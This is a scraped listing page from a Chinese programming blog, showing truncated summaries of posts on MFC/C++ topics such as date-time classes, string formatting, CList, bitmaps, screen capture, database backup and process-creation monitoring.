摘要: // 起始和结束日期时间关联的日期时间变量 COleDateTime m_tStartD COleDateTime m_tStartT COleDateTime m_tEndD COleDateTime m_tEndT // 格式化后的起始和结束的日期时间变量 COleDateTime m_tStartDateT COleDateTime m_tEndDat...
carekee 阅读(2748) |
摘要: 一、  CStdioFile二、  FILE* f = fopen("file name", "mode");  char buff[size];  fread(buff, size, 1, f);  fclose(f);三、  //用MFC读文件  CFile file("yourfile.txt",CFile::modeRead);  char *pB  int iLen=file.Ge...
carekee 阅读(10657) |
摘要: Format是一个很常用,却又似乎很烦的方法,以下是它的完整概貌,以供大家查询之用: 格式化字符串forma("%d",12)意思是将一个整形的格式化的字符(我认为是保持其形状不变) 1).格式说明总是以%字符开始,以下是不同类型数据的格式方式%号后的说明: d输出带符号十进制数 o输出无符号八进制数 x输出无符号十六进制数 u输出无符号数 c输出单个字符 s输出一串字符 f输出实数(6位小数) ...
carekee 阅读(1541) |
摘要: CTime( ) throw( );CTime( __time64_t time ) throw( );CTime( int nYear, int nMonth, int nDay, int nHour, int nMin, int nSec, int nDST = -1 );CTime( WORD wDosDate, WORD wDosTime, int nDST = -1 );CTime( c...
carekee 阅读(2905) |
摘要: Format是一个很常用,却又似乎很烦的方法,以下是它的完整概貌,以供大家查询之用: 一、字符串首先看它的声明: function Format(const Format: const Args: array of const): 事实上Format方法有两个种形式,另外一种是三个参数的,主要区别在于它是线程安全的, 但并不多用,所以这里只对第一...
carekee 阅读(2058) |
摘要: 一、sizeof sizeof(...)是运算符,在头文件中typedef为unsigned int,其值在编译时即计算好了,参数可以是数组、指针、类型、对象、函数等。 它的功能是:获得保证能容纳实现所建立的最大对象的字节大小。 由于在编译时计算,因此sizeof不能用来返回动态分配的内存空间的大小。实际上,用sizeof来返回类型以及静态分配的对象、结构或数组所占的空间,返回值跟对象、结构、数组...
carekee 阅读(43454) |
摘要: 如何理解LPCTSTR类型?   L表示long指针 这是为了兼容Windows 3.1等16位操作系统遗留下来的,在win32中以及其他的32为操作系统中, long指针和near指针及far修饰符都是为了兼容的作用。没有实际意义。  P表示这是一个指针  C表示是一个常量  T表示在Win32环境中, 有一个_T宏  这个宏用来表示你的字符是否使用UNICODE, 如果你的程序定义了UNICO...
carekee 阅读(51) |
摘要: 在使用冰刃的时候我们可以发现它有一个“监视进线程创建”的功能,这个功能挺有用的,在用户模式下我们可以注册一个shell钩子来监视,或者通过挂钩一些进程创建的Win32 API来实现。 在内核模式下我们同样可以使用API HOOK来实现,但是还有一些简单的做法,比如我们今天要介绍的PsSetCreateProcessNotifyRoutine函数。 PsSetCreatePr...
carekee 阅读(511) |
摘要: 校时原理:互联网上有很多时间服务器能够提供准确的时间,我们通过连接到这样的服务器来获取时间值。这里向大家介绍一下服务器传来的数据格式先。数据一共四个字节(4 Byte),我们可以在接收数据后对它进行“重新组装”,把组装所得的值放在一个32位的整数里,这个值的意义是:自日0时0分0秒 至 服务器发送这个时间数据时 所经历的秒数。显然,任何一个时刻到1900年所...
carekee 阅读(671) |
摘要: 初学mfc者,往往对CList等mfc的Collect类的使用感到迷惑,在使用中经常会遇到许多问题,导致对vc中的Collect类的使用产生了惧怕。以下,就个人经历而言,告诉大家如何使用CList。CList是一个双向链表类。1、头文件名不可少Clist类定义在Afxtempl.h 头文件中,因此在使用该类时,需要加这个头文件名。2、理解CList的声明和构造方法CList的声明如下:templa...
carekee 阅读(1744) |
摘要: 方法1. 备份/恢复 先备份数据库: backup database 数据库 to disk='c:\备份.bak'
将备份文件打包到安装程序中. 在第一次运行程序的时候,进行数据库恢复(或专门做一个系统配置的程序,来控制完成此工作) restore database 数据库 from disk='c:\备份.bak'   restore database dbname from disk='c...
carekee 阅读(454) |
摘要: 1. 基本概念  先来用通俗的语句讲解位图和调色板的概念。  我们知道,自然界中的所有颜色都可以由红、绿、蓝(R,G,B)三基色组合而成。针对含有红、绿、蓝色成分的多少,可以对其分别分成0~255个等级,而红、绿、蓝的不同组合共有256×256×256种,因此约能表示1600万种颜色。对于人眼而言,这已经是"真彩色"了。  对每个像素进行了(R,G,B)量化的图像就是位图,其在...
carekee 阅读(203) |
摘要: 从屏蔽QQ登录输入框温习几个c++函数先看c++ builder的代码:void__fastcall TForm1::FormCreate(TObject*Sender){HWND hCurWindow,HC,HE;//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄if((hCurWindow=FindWindow(Null,"QQ...
carekee 阅读(435) |
摘要: 一、 引言 在测绘、文博等行业经常会遇到这样一种情况:观测对象比较大,为保证分辨率又不能将其全部照下,只能进行局部照相,事后再将这些局部照相的重合部分去掉,拼合成一幅完整的图像。以前多采用手工拼合,误差较大,往往不能很好的实现无缝拼合,即使有少量的专业设备,成本也普遍较高。其实只需将照片通过扫描仪将其录入到计算机中,通过程序处理,完全能很好的实现多幅图像的无缝拼合,满足实际需要,而且对于文博行业中...
carekee 阅读(150) |
摘要: HBITMAP CopyScreenToBitmap(LPRECT lpRect){//屏幕和内存设备描述表HDC hSrcDC, hMemDC;//位图句柄HBITMAP hBitmap, hOldB//选定区域坐标int nX, nY, nX2, nY2;//位图宽度和高度int nWidth, nH//屏幕分辨率int xScrn, yS//确保选定区域不为空...
carekee 阅读(234) |

我要回帖

更多关于 代码注释格式 的文章

 

随机推荐